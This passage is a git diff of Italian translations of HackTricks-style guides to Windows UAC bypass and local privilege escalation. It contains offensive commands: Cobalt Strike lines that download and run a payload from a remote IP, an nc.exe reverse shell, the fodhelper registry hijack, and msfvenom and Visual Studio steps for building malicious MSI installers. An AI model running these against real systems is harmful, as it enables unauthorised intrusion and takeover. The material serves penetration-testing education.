integrità elevato) usando qualcosa del tipo: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -111,9 +111,9 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Molto** semplice UAC "bypass" (accesso completo al file system) +### **Molto** elementare UAC "bypass" (accesso completo al file system) -Se hai una shell con un utente che fa parte del gruppo Administrators puoi **mount the C$** shared via SMB (file system) local in a new disk e avrai **accesso a tutto il file system** (anche la cartella home di Administrator). +Se hai una shell con un utente che è nel gruppo Administrators puoi **montare la condivisione C$** via SMB localmente come un nuovo disco e avrai **accesso a tutto il file system** (anche la home dell'Administrator). > [!WARNING] > **Sembra che questo trucco non funzioni più** @@ -124,9 +124,9 @@ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` -### UAC bypass with cobalt strike +### UAC bypass con cobalt strike -Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al suo livello di sicurezza massimo. +Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al livello di sicurezza massimo. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -138,7 +138,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** e **Metasploit** hanno anche diversi moduli per **bypass** della **UAC**. +**Empire** e **Metasploit** hanno anche diversi moduli per bypass della **UAC**. ### KRBUACBypass @@ -146,10 +146,10 @@ Documentazione e tool in [https://github.com/wh0amitz/KRBUACBypass](https://gith ### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME) che è una **compilazione** di diversi UAC bypass exploits. Nota che dovrai **compilare UACME usando visual studio o msbuild**. La compilazione creerà diversi eseguibili (come `Source\Akagi\outout\x64\Debug\Akagi.exe`) , dovrai sapere **quale ti serve.**\ -Dovresti **fare attenzione** perché alcuni **bypass** faranno **apparire dei prompt in altri programmi** che **avviseranno** l'**utente** che qualcosa sta succedendo. +[**UACME** ](https://github.com/hfiref0x/UACME) che è una **compilazione** di diversi UAC bypass exploits. Nota che dovrai **compilare UACME usando Visual Studio o msbuild**. La compilazione creerà diversi eseguibili (come `Source\Akagi\outout\x64\Debug\Akagi.exe`), dovrai sapere **quale ti serve.** +Dovresti **fare attenzione** perché alcuni bypass **potrebbero avviare altri programmi** che **avviseranno** l'**utente** che qualcosa sta accadendo. -UACME riporta la **build da cui ogni tecnica ha iniziato a funzionare**. Puoi cercare una tecnica che interessi le tue versioni: +UACME indica la **build dalla quale ogni tecnica ha iniziato a funzionare**. Puoi cercare una tecnica che interessa le tue versioni: ``` PS C:\> [environment]::OSVersion.Version @@ -157,17 +157,17 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions. +Inoltre, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) ottieni la release di Windows `1607` dalle versioni build. ### UAC Bypass – fodhelper.exe (Registry hijack) -Il binario affidabile `fodhelper.exe` viene elevato automaticamente su Windows moderni. Quando viene avviato, interroga il percorso del registro per utente qui sotto senza validare il verbo `DelegateExecute`. Posizionare un comando in quel percorso permette a un processo con Medium Integrity (l'utente è membro del gruppo Administrators) di avviare un processo con High Integrity senza visualizzare il prompt UAC. +Il binario attendibile `fodhelper.exe` viene automaticamente elevato su Windows moderni. Quando viene avviato, interroga il percorso del registro per utente mostrato qui sotto senza validare il verbo `DelegateExecute`. Piantare un comando in tale chiave permette a un processo con Medium Integrity (l'utente è nel gruppo Administrators) di generare un processo con High Integrity senza prompt UAC. -Registry path queried by fodhelper: +Percorso del registro interrogato da fodhelper: ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -Passaggi PowerShell (imposta il tuo payload, poi trigger): +Passaggi PowerShell (imposta il tuo payload, quindi attiva): ```powershell # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" @@ -187,46 +187,46 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force ``` Note: -- Funziona quando l'utente corrente è membro degli Administrators e il livello UAC è default/lenient (non Always Notify con restrizioni extra). -- Usa il percorso `sysnative` per avviare una PowerShell a 64-bit da un processo a 32-bit su Windows a 64-bit. -- Il payload può essere qualsiasi comando (PowerShell, cmd, o un percorso EXE). Evitare UI che richiedono prompt per mantenere lo stealth. +- Funziona quando l'utente corrente è membro di Administrators e il livello UAC è default/lenient (non Always Notify con restrizioni aggiuntive). +- Usa il percorso `sysnative` per avviare un PowerShell a 64-bit da un processo a 32-bit su Windows a 64-bit. +- Il payload può essere qualsiasi comando (PowerShell, cmd, o un percorso a un EXE). Evitare UI che richiedono prompt per maggiore stealth. -#### Altri bypass UAC +#### More UAC bypass **All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough). -Puoi ottenerla usando una sessione **meterpreter**. Migra in un **process** che ha il valore **Session** uguale a **1**: +You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**: ![](<../../images/image (863).png>) (_explorer.exe_ dovrebbe funzionare) -### Bypass UAC con GUI +### UAC Bypass with GUI -Se hai accesso a una **GUI puoi semplicemente accettare il prompt UAC** quando compare, non hai veramente bisogno di un bypass. Quindi, ottenere accesso a una GUI ti permetterà di bypassare il UAC. +Se hai accesso a una **GUI puoi semplicemente accettare il prompt UAC** quando appare, non hai realmente bisogno di un bypass. Quindi ottenere accesso a una GUI ti permette di bypassare UAC. -Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente via RDP) ci sono **alcuni tool che verranno eseguiti come administrator** da cui potresti **eseguire** ad esempio un **cmd** **come admin** direttamente senza essere nuovamente richiesto da UAC, come [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Questo potrebbe essere un po' più **stealthy**. +Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente via RDP) ci sono **alcuni strumenti che saranno in esecuzione come administrator** da cui potresti **lanciare** un **cmd**, per esempio **come admin** direttamente senza che UAC richieda nuovamente l'elevazione, come [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Questo potrebbe essere un po' più **stealthy**. -### Bypass UAC rumoroso (brute-force) +### Noisy brute-force UAC bypass -Se non ti importa di essere rumoroso puoi sempre **eseguire qualcosa come** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) che **chiede di elevare i permessi finché l'utente non li accetta**. +Se non ti interessa essere rumoroso puoi sempre **eseguire qualcosa come** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) che **chiede di elevare i permessi finché l'utente non accetta**. -### Il tuo bypass - metodologia di base per bypass UAC +### Your own bypass - Basic UAC bypass methodology -Se dai un'occhiata a **UACME** noterai che **la maggior parte dei bypass UAC sfrutta una vulnerabilità di Dll Hijacking** (principalmente scrivendo la dll malevola in _C:\Windows\System32_). [Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html). +Se dai un'occhiata a **UACME** noterai che **la maggior parte dei bypass UAC abusa di una vulnerabilità di Dll Hijacking** (principalmente scrivendo la malicious dll in _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). -1. Trova un binary che **autoelevate** (verifica che quando viene eseguito funzioni a livello di integrità elevato). +1. Trova un binary che **autoelevate** (verifica che quando viene eseguito funzioni a high integrity level). 2. Con procmon trova eventi "**NAME NOT FOUND**" che possono essere vulnerabili a **DLL Hijacking**. 3. Probabilmente dovrai **scrivere** la DLL all'interno di alcuni **percorsi protetti** (come C:\Windows\System32) dove non hai permessi di scrittura. Puoi bypassare questo usando: - 1. **wusa.exe**: Windows 7,8 e 8.1. Permette di estrarre il contenuto di un file CAB all'interno di percorsi protetti (perché questo tool viene eseguito a high integrity level). - 2. **IFileOperation**: Windows 10. +1. **wusa.exe**: Windows 7,8 and 8.1. Permette di estrarre il contenuto di un CAB file all'interno di percorsi protetti (perché questo tool viene eseguito a high integrity level). +2. **IFileOperation**: Windows 10. 4. Prepara uno **script** per copiare la tua DLL nel percorso protetto ed eseguire il binary vulnerabile e autoelevated. -### Un'altra tecnica di bypass UAC +### Another UAC bypass technique -Consiste nel verificare se un **autoElevated binary** tenta di **leggere** dal **registry** il **nome/percorso** di un **binary** o **comando** da **eseguire** (questo è più interessante se il binary cerca queste informazioni dentro la **HKCU**). +Consiste nel verificare se un **autoElevated binary** cerca di **leggere** dal **registry** il **nome/path** di un **binary** o **command** da **eseguire** (questo è più interessante se il binary cerca queste informazioni all'interno di **HKCU**). -## Riferimenti +## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/) - [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 7ae54722f..66175f7a0 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Miglior strumento per cercare i vettori di Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## Teoria iniziale di Windows ### Access Tokens -**Se non sai cosa sono i Windows Access Tokens, leggi la pagina seguente prima di continuare:** +**Se non sai cosa sono Windows Access Tokens, leggi la seguente pagina prima di continuare:** {{#ref}} @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Controlla la pagina seguente per maggiori informazioni su ACLs - DACLs/SACLs/ACEs:** +**Consulta la pagina seguente per maggiori informazioni su ACLs - DACLs/SACLs/ACEs:** {{#ref}} @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Se non sai cosa sono gli integrity levels in Windows dovresti leggere la pagina seguente prima di continuare:** +**Se non sai cosa sono gli Integrity Levels in Windows dovresti leggere la seguente pagina prima di continuare:** {{#ref}} @@ -35,16 +35,16 @@ integrity-levels.md ## Controlli di sicurezza di Windows -Ci sono diverse componenti in Windows che potrebbero **impedire di enumerare il sistema**, eseguire eseguibili o addirittura **rilevare le tue attività**. Dovresti **leggere** la seguente **pagina** ed **enumerare** tutti questi **meccanismi di difesa** prima di iniziare l'enumerazione per il privilege escalation: +Ci sono diverse cose in Windows che potrebbero **impedirti di enumerare il sistema**, eseguire eseguibili o perfino **rilevare le tue attività**. Dovresti **leggere** la seguente **pagina** e **enumerare** tutti questi **meccanismi** **di difesa** prima di iniziare l'enumerazione per la privilege escalation: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Informazioni di sistema +## Info di sistema -### Enumerazione delle informazioni di versione +### Enumerazione delle informazioni sulla versione Verifica se la versione di Windows ha vulnerabilità note (controlla anche le patch applicate). ```bash @@ -59,29 +59,29 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Exploit di versione +### Version Exploits -Questo [site](https://msrc.microsoft.com/update-guide/vulnerability) è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza Microsoft. Questo database contiene più di 4.700 vulnerabilità di sicurezza, mostrando la **massiccia superficie di attacco** che un ambiente Windows presenta. +Questo [site](https://msrc.microsoft.com/update-guide/vulnerability) è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza di Microsoft. Questo database contiene più di 4.700 vulnerabilità di sicurezza, mostrando la **massive attack surface** che un ambiente Windows presenta. **Sul sistema** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ha watson incorporato)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ha watson integrato)_ -**Localmente con informazioni del sistema** +**Localmente con informazioni di sistema** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Repo GitHub di exploits:** +**Github repository di exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Ambiente +### Environment Ci sono credenziali/informazioni Juicy salvate nelle variabili d'ambiente? ```bash @@ -116,29 +116,29 @@ Stop-Transcript ``` ### PowerShell Module Logging -I dettagli delle esecuzioni della pipeline di PowerShell vengono registrati, includendo i comandi eseguiti, le invocazioni dei comandi e parti degli script. Tuttavia, i dettagli completi dell'esecuzione e i risultati dell'output potrebbero non essere catturati. +Vengono registrati i dettagli delle esecuzioni della pipeline di PowerShell, includendo i comandi eseguiti, le invocazioni dei comandi e parti degli script. Tuttavia, i dettagli completi dell'esecuzione e i risultati dell'output potrebbero non essere catturati. -Per abilitarlo, segui le istruzioni nella sezione "Transcript files" della documentazione, scegliendo **"Module Logging"** invece di **"Powershell Transcription"**. +Per abilitarlo, segui le istruzioni nella sezione "Transcript files" della documentazione, optando per **"Module Logging"** invece di **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Per visualizzare gli ultimi 15 eventi dai log di PowersShell puoi eseguire: +Per visualizzare gli ultimi 15 eventi dai log di PowerShell puoi eseguire: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Viene catturato un record completo delle attività e del contenuto dell'esecuzione dello script, assicurando che ogni blocco di codice sia documentato mentre viene eseguito. Questo processo preserva una traccia di audit esaustiva di ogni attività, utile per le analisi forensi e per l'analisi di comportamenti malevoli. Documentando tutte le attività al momento dell'esecuzione, vengono forniti approfondimenti dettagliati sul processo. +Viene acquisito un record completo delle attività e del contenuto dell'esecuzione dello script, garantendo che ogni blocco di code sia documentato mentre viene eseguito. Questo processo preserva una traccia di audit completa di ciascuna attività, utile per l'analisi forense e per analizzare comportamenti dannosi. Documentando tutta l'attività al momento dell'esecuzione, si ottengono approfondimenti dettagliati sul processo. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Gli eventi di log per lo Script Block si trovano nel Windows Event Viewer al percorso: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Gli eventi di log per lo Script Block si trovano nel Visualizzatore eventi di Windows al percorso: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Per visualizzare gli ultimi 20 eventi puoi usare: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Puoi compromettere il sistema se gli aggiornamenti non vengono richiesti usando http**S** ma http. +Puoi compromettere il sistema se gli aggiornamenti non vengono richiesti tramite http**S** ma tramite http. -Si inizia controllando se la rete utilizza un WSUS non-SSL eseguendo quanto segue in cmd: +Inizi verificando se la rete utilizza un aggiornamento WSUS non-SSL eseguendo quanto segue in cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Oppure il seguente in PowerShell: +Oppure quanto segue in PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Se ricevi una risposta come una delle seguenti: +Se ricevi una risposta come una di queste: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,13 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` o `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` è uguale a `1`. +E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` o `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` è impostato a `1`. -Allora, **è sfruttabile.** Se l'ultima chiave di registro è uguale a 0, allora la voce WSUS verrà ignorata. +Allora, **è sfruttabile.** Se quest'ultima chiave di registro è impostata a 0, la voce WSUS verrà ignorata. -Per sfruttare questa vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - sono script exploit MiTM per iniettare update "finti" nel traffico WSUS non-SSL. +Per sfruttare questa vulnerabilità puoi usare tool come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) - questi sono script di exploit MiTM weaponizzati per iniettare aggiornamenti 'falsi' nel traffico WSUS non-SSL. -Leggi la ricerca qui: +Read the research here: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -195,25 +195,25 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -In pratica, questo è il difetto che sfrutta questo bug: +In pratica, questo è il difetto che questo bug sfrutta: -> Se abbiamo la possibilità di modificare il proxy del nostro utente locale, e Windows Update usa il proxy configurato nelle impostazioni di Internet Explorer, allora abbiamo il potere di eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro traffico e eseguire codice come utente elevato sul nostro asset. +> Se abbiamo la possibilità di modificare il proxy dell'utente locale, e Windows Updates usa il proxy configurato nelle impostazioni di Internet Explorer, allora possiamo eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro traffico e eseguire codice come utente elevato sul sistema. > -> Inoltre, poiché il servizio WSUS usa le impostazioni dell'utente corrente, utilizzerà anche il suo store di certificati. Se generiamo un certificato autofirmato per l'hostname WSUS e aggiungiamo questo certificato nello store dei certificati dell'utente corrente, saremo in grado di intercettare sia il traffico HTTP che HTTPS di WSUS. WSUS non usa meccanismi tipo HSTS per implementare una validazione trust-on-first-use sul certificato. Se il certificato presentato è trusted dall'utente e ha l'hostname corretto, verrà accettato dal servizio. +> Inoltre, poiché il servizio WSUS usa le impostazioni dell'utente corrente, utilizzerà anche il suo store di certificati. Se generiamo un certificato self-signed per l'hostname WSUS e aggiungiamo questo certificato allo store di certificati dell'utente corrente, saremo in grado di intercettare il traffico WSUS sia HTTP che HTTPS. WSUS non utilizza meccanismi simili a HSTS per applicare una validazione di tipo trust-on-first-use sul certificato. Se il certificato presentato è considerato attendibile dall'utente e ha l'hostname corretto, sarà accettato dal servizio. -Puoi sfruttare questa vulnerabilità usando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta che sarà rilasciato). +Puoi sfruttare questa vulnerabilità usando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta reso disponibile). ## KrbRelayUp -Una vulnerabilità di **local privilege escalation** esiste negli ambienti Windows **domain** in condizioni specifiche. Queste condizioni includono ambienti in cui **LDAP signing non è applicato,** gli utenti hanno diritti che permettono loro di configurare la **Resource-Based Constrained Delegation (RBCD),** e la possibilità per gli utenti di creare computer nel dominio. È importante notare che questi **requisiti** sono soddisfatti usando le impostazioni **predefinite**. +Esiste una vulnerabilità di **elevazione locale dei privilegi** in ambienti Windows **domain** sotto condizioni specifiche. Queste condizioni includono ambienti in cui **LDAP signing non è forzato**, gli utenti possiedono diritti che permettono loro di configurare **Resource-Based Constrained Delegation (RBCD)**, e la capacità per gli utenti di creare computer all'interno del dominio. È importante notare che questi **requisiti** sono soddisfatti dalle **impostazioni di default**. -Trova l'**exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) Per maggiori informazioni sul flusso dell'attacco consulta [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**If** queste 2 chiavi di registro sono **abilitate** (il valore è **0x1**), allora utenti di qualsiasi livello di privilegio possono **installare** (eseguire) file `*.msi` come NT AUTHORITY\\**SYSTEM**. +**Se** queste 2 chiavi di registro sono **abilitate** (valore è **0x1**), allora utenti di qualsiasi privilegio possono **installare** (eseguire) `*.msi` come NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -223,19 +223,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Se hai una sessione meterpreter puoi automatizzare questa tecnica usando il modulo **`exploit/windows/local/always_install_elevated`** +If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** ### PowerUP -Usa il comando `Write-UserAddMSI` di power-up per creare nella directory corrente un Windows MSI binary per elevare i privilegi. Questo script scrive un MSI installer precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GIU): +Usa il comando `Write-UserAddMSI` di power-up per creare nella directory corrente un file MSI di Windows per elevare i privilegi. Questo script scrive un installer MSI precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GIU): ``` Write-UserAddMSI ``` -Esegui semplicemente il binary creato per ottenere privilegi elevati. +Esegui semplicemente il binario creato per elevare i privilegi. ### MSI Wrapper -Leggi questo tutorial per imparare come creare un MSI wrapper usando questi strumenti. Nota che puoi avvolgere un file "**.bat**" se vuoi **solo** **eseguire** **comandi da riga di comando** +Leggi questo tutorial per imparare a creare un MSI wrapper usando questi strumenti. Nota che puoi impacchettare un file "**.bat**" se vuoi **solo** **eseguire** **comandi da riga di comando** {{#ref}} @@ -251,20 +251,20 @@ create-msi-with-wix.md ### Create MSI with Visual Studio -- **Genera** con Cobalt Strike o Metasploit un **Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- **Genera** con Cobalt Strike o Metasploit un **nuovo Windows EXE TCP payload** in `C:\privesc\beacon.exe` - Apri **Visual Studio**, seleziona **Create a new project** e digita "installer" nella casella di ricerca. Seleziona il progetto **Setup Wizard** e clicca **Next**. -- Dai al progetto un nome, come **AlwaysPrivesc**, usa **`C:\privesc`** per il percorso, seleziona **place solution and project in the same directory**, e clicca **Create**. -- Continua a cliccare **Next** fino ad arrivare al passo 3 di 4 (scegli i file da includere). Clicca **Add** e seleziona il Beacon payload che hai appena generato. Poi clicca **Finish**. +- Assegna al progetto un nome, come **AlwaysPrivesc**, usa **`C:\privesc`** come percorso, seleziona **place solution and project in the same directory**, e clicca **Create**. +- Continua a cliccare **Next** fino a raggiungere il passaggio 3 di 4 (scegli i file da includere). Clicca **Add** e seleziona il Beacon payload che hai appena generato. Poi clicca **Finish**. - Seleziona il progetto **AlwaysPrivesc** in **Solution Explorer** e nelle **Properties**, cambia **TargetPlatform** da **x86** a **x64**. - Ci sono altre proprietà che puoi modificare, come **Author** e **Manufacturer**, che possono rendere l'app installata più legittima. -- Fai click destro sul progetto e seleziona **View > Custom Actions**. -- Fai click destro su **Install** e seleziona **Add Custom Action**. -- Doppio click su **Application Folder**, seleziona il file **beacon.exe** e clicca **OK**. Questo assicurerà che il beacon payload venga eseguito non appena l'installer viene avviato. -- Nelle **Custom Action Properties**, imposta **Run64Bit** su **True**. -- Infine, **compilalo**. -- Se viene mostrato l'avvertimento `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, assicurati di impostare la piattaforma su x64. +- Clicca con il tasto destro sul progetto e seleziona **View > Custom Actions**. +- Clicca con il tasto destro su **Install** e seleziona **Add Custom Action**. +- Fai doppio clic su **Application Folder**, seleziona il file **beacon.exe** e clicca **OK**. Questo garantirà che il beacon payload venga eseguito non appena viene avviato l'installer. +- Sotto le **Custom Action Properties**, imposta **Run64Bit** su **True**. +- Infine, **build it**. +- Se viene mostrato l'avviso `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, assicurati di impostare la piattaforma su x64. -### MSI Installation +### Installazione MSI Per eseguire l'**installazione** del file `.msi` malevolo in **background:** ``` @@ -272,7 +272,7 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` Per sfruttare questa vulnerabilità puoi usare: _exploit/windows/local/always_install_elevated_ -## Antivirus and Detectors +## Antivirus e rilevatori ### Impostazioni di Audit @@ -288,7 +288,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS** è progettato per la **gestione delle password dell'Administrator locale**, assicurando che ogni password sia **unica, casuale e regolarmente aggiornata** sui computer uniti a un dominio. Queste password sono memorizzate in modo sicuro in Active Directory e possono essere accessate solo da utenti a cui sono stati concessi permessi sufficienti tramite ACLs, permettendo loro di visualizzare le password degli admin locali se autorizzati. +**LAPS** è progettato per la **gestione delle password dell'Administrator locale**, garantendo che ogni password sia **unica, randomizzata e regolarmente aggiornata** sui computer uniti a un dominio. Queste password sono memorizzate in modo sicuro in Active Directory e possono essere accessate solo dagli utenti cui sono state concesse autorizzazioni sufficienti tramite ACLs, permettendo loro di visualizzare le password degli admin locali se autorizzati. {{#ref}} @@ -297,27 +297,26 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Se attivo, **le password in plain-text sono memorizzate in LSASS** (Local Security Authority Subsystem Service).\ +Se attivo, **le password in plain-text vengono memorizzate in LSASS** (Local Security Authority Subsystem Service).\ [**Maggiori informazioni su WDigest in questa pagina**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` -### Protezione LSA +### LSA Protection -A partire da **Windows 8.1**, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per **bloccare** i tentativi da parte di processi non attendibili di **leggere la sua memoria** o di iniettare codice, rafforzando la sicurezza del sistema.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +A partire da **Windows 8.1**, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per **bloccare** i tentativi da parte di processi non attendibili di **leggere la sua memoria** o di iniettare codice, aumentando la sicurezza del sistema.\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è salvaguardare le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| [**Ulteriori informazioni su Credentials Guard qui.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 